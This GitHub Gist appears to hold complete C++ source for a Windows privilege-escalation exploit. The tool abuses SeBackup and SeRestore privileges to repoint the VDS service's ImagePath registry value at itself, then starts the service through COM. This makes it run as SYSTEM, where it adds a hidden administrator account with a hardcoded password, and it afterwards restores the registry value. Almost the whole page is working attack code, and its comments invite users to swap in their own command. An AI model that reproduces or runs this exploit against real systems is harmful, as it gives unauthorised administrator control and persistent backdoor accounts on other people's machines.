Last active
June 21, 2020 10:19
-
-
Save ThunderGunExpress/5bd759bcc2dc6bac1ee22d9c62fd6c9a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//https://decoder.cloud/2018/02/12/the-power-of-backup-operatos/ | |
//https://github.com/decoder-it/BadBackupOperator/blob/master/SuBackup/SuBackup/SuBackup.cpp | |
//https://docs.microsoft.com/en-us/windows/win32/services/writing-a-servicemain-function | |
//https://docs.microsoft.com/en-us/windows/win32/vds/loading-vds | |
//Replace system command with your code. If DewIt() does not run, check if the vds service is running, it should be on-demand. | |
#define UNICODE | |
#include <windows.h> | |
#include <stdio.h> | |
#include <Psapi.h> | |
#include "initguid.h" | |
#include "vds.h" | |
#pragma comment( lib, "ole32.lib" ) | |
#define _SafeRelease(x) {if (NULL != x) { x->Release(); x = NULL; } } | |
#pragma warning(disable:4996) | |
#define SVCNAME TEXT("vds") | |
SERVICE_STATUS gSvcStatus; | |
SERVICE_STATUS_HANDLE gSvcStatusHandle; | |
HANDLE ghSvcStopEvent = NULL; | |
VOID WINAPI SvcMain(int argc, wchar_t* argv[]); | |
VOID WINAPI SvcCtrlHandler(DWORD dwCtrl); | |
BOOL SetPrivilege(HANDLE hToken, LPCWSTR lpszPrivilege, BOOL bEnablePrivilege); | |
BOOL RegistryMod(HKEY hKey, wchar_t *wChangeValue); | |
BOOL RegistryQuery(HKEY hKey, wchar_t **wQueryValue); | |
BOOL COMWork(); | |
BOOL DewIt(); | |
BOOL IsWow64(); | |
BOOL DewIt() | |
{ | |
system("net user testuser Password123! /add && net localgroup administrators testuser /add"); | |
return TRUE; | |
} | |
BOOL COMWork() | |
{ | |
HRESULT hResult; | |
IVdsService *pService = NULL; | |
IVdsServiceLoader *pLoader = NULL; | |
hResult = CoInitialize(NULL); | |
if (SUCCEEDED(hResult)) | |
{ | |
hResult = CoCreateInstance(CLSID_VdsLoader, NULL, CLSCTX_LOCAL_SERVER, IID_IVdsServiceLoader, (void **)&pLoader); | |
if (SUCCEEDED(hResult)) | |
pLoader->LoadService(NULL, &pService); | |
_SafeRelease(pLoader); | |
if (SUCCEEDED(hResult)) | |
{ | |
wprintf(L" > VDS Service Loaded"); | |
return TRUE; | |
} | |
} | |
return FALSE; | |
} | |
BOOL RegistryMod(HKEY hKey, wchar_t *wChangeValue) | |
{ | |
DWORD dwType = REG_EXPAND_SZ; | |
if (RegSetKeyValueW(hKey, NULL, L"ImagePath", dwType, (LPBYTE)wChangeValue, wcslen(wChangeValue) * sizeof(wchar_t)) != ERROR_SUCCESS) | |
{ | |
wprintf(L" > Error: RegSetKeyValueW(1) - %u\n", GetLastError()); | |
return FALSE; | |
} | |
return TRUE; | |
} | |
BOOL RegistryQuery(HKEY hKey, wchar_t **wQueryValue) | |
{ | |
DWORD dwType = REG_EXPAND_SZ; | |
DWORD dwQuerysize; | |
if (RegQueryValueExW(hKey, L"ImagePath", NULL, &dwType, NULL, &dwQuerysize) != ERROR_SUCCESS) | |
{ | |
wprintf(L" > Error: RegQueryValueExW - %u\n", GetLastError()); | |
return FALSE; | |
} | |
*wQueryValue = (wchar_t*)LocalAlloc(LPTR, sizeof(wchar_t) * dwQuerysize); | |
if (wQueryValue == NULL) | |
{ | |
wprintf(L" > Error: LocalAlloc(wQueryValue) - %u\n", GetLastError()); | |
return FALSE; | |
} | |
if (RegQueryValueExW(hKey, L"ImagePath", NULL, &dwType, (LPBYTE)wQueryValue, &dwQuerysize) != ERROR_SUCCESS) | |
{ | |
wprintf(L" > Error: RegQueryValueExW - %u\n", GetLastError()); | |
return FALSE; | |
} | |
return TRUE; | |
} | |
//Funciton copied from - https://github.com/decoder-it/BadBackupOperator/blob/master/SuBackup/SuBackup/SuBackup.cpp | |
BOOL SetPrivilege(HANDLE hToken, LPCWSTR lpszPrivilege, BOOL bEnablePrivilege) | |
{ | |
TOKEN_PRIVILEGES tp; | |
LUID luid; | |
if (!LookupPrivilegeValueW( | |
NULL, // lookup privilege on local system | |
lpszPrivilege, // privilege to lookup | |
&luid)) // receives LUID of privilege | |
{ | |
wprintf(L" > Error: LookupPrivilegeValueW - %u\n", GetLastError()); | |
return FALSE; | |
} | |
tp.PrivilegeCount = 1; | |
tp.Privileges[0].Luid = luid; | |
if (bEnablePrivilege) | |
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
else | |
tp.Privileges[0].Attributes = 0; | |
// | |
// Enable the privilege or disable all privileges. | |
// | |
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) | |
{ | |
wprintf(L" > Error: AdjustTokenPrivileges - %u\n", GetLastError()); | |
return FALSE; | |
} | |
else | |
{ | |
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) | |
{ | |
wprintf(L" > Error: The token does not have the specified privilege (%lS).\n", lpszPrivilege); | |
return FALSE; | |
} | |
else | |
{ | |
wprintf(L" > AdjustTokenPrivileges (%lS): OK\n", lpszPrivilege); | |
} | |
} | |
return TRUE; | |
} | |
//http://www.cplusplus.com/forum/windows/120301/ | |
BOOL IsWow64() | |
{ | |
BOOL bIsWow64 = FALSE; | |
typedef BOOL(APIENTRY *LPFN_ISWOW64PROCESS) | |
(HANDLE, PBOOL); | |
LPFN_ISWOW64PROCESS fnIsWow64Process; | |
HMODULE module = GetModuleHandleW(L"kernel32"); | |
const char funcName[] = "IsWow64Process"; | |
fnIsWow64Process = (LPFN_ISWOW64PROCESS) | |
GetProcAddress(module, funcName); | |
if (NULL != fnIsWow64Process) | |
{ | |
if (!fnIsWow64Process(GetCurrentProcess(), | |
&bIsWow64)) | |
wprintf(L" > IsWow64 Error\n"); | |
} | |
return bIsWow64 != FALSE; | |
} | |
VOID WINAPI SvcMain(int argc, wchar_t* argv[]) | |
{ | |
gSvcStatusHandle = RegisterServiceCtrlHandler(SVCNAME, SvcCtrlHandler); | |
if (!gSvcStatusHandle) | |
return; | |
gSvcStatus.dwServiceType = SERVICE_WIN32; | |
gSvcStatus.dwCurrentState = SERVICE_START_PENDING; | |
gSvcStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; | |
gSvcStatus.dwWin32ExitCode = 0; | |
gSvcStatus.dwCheckPoint = 0; | |
gSvcStatus.dwCheckPoint = 0; | |
gSvcStatus.dwServiceSpecificExitCode = 0; | |
DewIt(); | |
ExitProcess(0); | |
} | |
VOID WINAPI SvcCtrlHandler(DWORD dwCtrl) | |
{ | |
switch (dwCtrl) | |
{ | |
case SERVICE_CONTROL_STOP: | |
gSvcStatus.dwWin32ExitCode = 0; | |
gSvcStatus.dwCurrentState = SERVICE_STOPPED; | |
SetServiceStatus(gSvcStatusHandle, &gSvcStatus); | |
return; | |
case SERVICE_CONTROL_SHUTDOWN: | |
gSvcStatus.dwWin32ExitCode = 0; | |
gSvcStatus.dwCurrentState = SERVICE_STOPPED; | |
SetServiceStatus(gSvcStatusHandle, &gSvcStatus); | |
return; | |
default: | |
break; | |
} | |
} | |
int wmain(int argc, wchar_t * argv[]) | |
{ | |
wprintf(L"[*] Start [*]\n"); | |
SERVICE_TABLE_ENTRY DispatchTable[] = | |
{ | |
{ (LPWSTR)SVCNAME, (LPSERVICE_MAIN_FUNCTIONW)SvcMain }, | |
{ NULL, NULL } | |
}; | |
StartServiceCtrlDispatcherW(DispatchTable); | |
if (IsWow64()) | |
{ | |
wprintf(L"64-bit application only, re-compile as 64-bit. 32-bit -> 64-bit registry modifications not supported yet.\n"); | |
return 1; | |
} | |
if (argc > 1) | |
{ | |
if (wcscmp(_wcslwr(argv[1]), L"--run") != 0) | |
{ | |
wprintf(L" > Provide --run as a command line argument to kick it off.\n"); | |
wprintf(L" > Example: SuRestore.exe --run\n"); | |
return 1; | |
} | |
else | |
{ | |
wprintf(L"\n[*] Privilege [*]\n"); | |
HANDLE hProcess = GetCurrentProcess(); | |
HANDLE hToken; | |
HANDLE hThread; | |
HKEY hKey; | |
wchar_t wTargetKey[] = L"SYSTEM\\CurrentControlSet\\Services\\vds"; | |
wchar_t wFilePath[MAX_PATH]; | |
wchar_t *wOriginalPath = NULL; | |
wchar_t *wFinalPath = NULL; | |
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); | |
if (!SetPrivilege(hToken, SE_BACKUP_NAME, TRUE)) | |
{ | |
wprintf(L" > Error: SetPrivilege SeBackupPrivilege.\n"); | |
CloseHandle(hToken); | |
return 1; | |
} | |
if (!SetPrivilege(hToken, SE_RESTORE_NAME, TRUE)) | |
{ | |
wprintf(L" > Error: SetPrivilege SeRestorePrivilege.\n"); | |
CloseHandle(hToken); | |
return 1; | |
} | |
wprintf(L"\n[*] Registry [*]\n"); | |
wprintf(L" > Querying registry.\n"); | |
if (!GetModuleFileNameW(NULL, wFilePath, MAX_PATH)) | |
{ | |
wprintf(L" > Error: GetModuleFileNameW - %u", GetLastError()); | |
CloseHandle(hToken); | |
return 1; | |
} | |
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, wTargetKey, REG_OPTION_BACKUP_RESTORE, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) | |
{ | |
wprintf(L" > Error: RegOpenKeyExW - %u\n", GetLastError()); | |
CloseHandle(hToken); | |
return 1; | |
} | |
if (!RegistryQuery(hKey, &wOriginalPath)) | |
{ | |
wprintf(L" > Error: RegistryQuery\n"); | |
CloseHandle(hToken); | |
RegCloseKey(hKey); | |
return 1; | |
} | |
wprintf(L" > ImagePath value - %s\n", &wOriginalPath); | |
wprintf(L" > Modifying ImagePath value.\n"); | |
if (!RegistryMod(hKey, wFilePath)) | |
{ | |
wprintf(L" > Error: RegistryMod\n"); | |
CloseHandle(hToken); | |
RegCloseKey(hKey); | |
LocalFree(&wOriginalPath); | |
return 1; | |
} | |
wprintf(L" > ImagePath value - %s\n", wFilePath); | |
wprintf(L"\n[*] COMWork [*]\n"); | |
wprintf(L" > Creating a thread to load the VDS service loader. Will take about 5 seconds.\n"); | |
Sleep(2000); | |
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)COMWork, NULL, 0, NULL); | |
WaitForSingleObject(hThread, 5000); | |
wprintf(L"\n[*] Clean Up [*]\n"); | |
wprintf(L" > Reverting ImagePath to original value.\n"); | |
if (!RegistryMod(hKey, (wchar_t*)&wOriginalPath)) | |
{ | |
wprintf(L" > Error: RegOpenKeyExW - %u\n", GetLastError()); | |
wprintf(L" > VDS ImagePath is currently pointing at modified value. Manual clean up required.\n"); | |
CloseHandle(hToken); | |
CloseHandle(hThread); | |
RegCloseKey(hKey); | |
LocalFree(&wOriginalPath); | |
return 1; | |
} | |
if (!RegistryQuery(hKey, &wFinalPath)) | |
{ | |
wprintf(L" > Error: RegistryQuery\n"); | |
CloseHandle(hToken); | |
CloseHandle(hThread); | |
RegCloseKey(hKey); | |
LocalFree(&wOriginalPath); | |
return 1; | |
} | |
wprintf(L" > ImagePath value - %s\n", &wFinalPath); | |
CloseHandle(hToken); | |
CloseHandle(hThread); | |
RegCloseKey(hKey); | |
} | |
} | |
else | |
{ | |
wprintf(L" > Provide --run as a command line argument to kick it off.\n"); | |
wprintf(L" > Example: SuRestore.exe --run\n"); | |
return 1; | |
} | |
wprintf(L"\n[*] End [*]\n"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment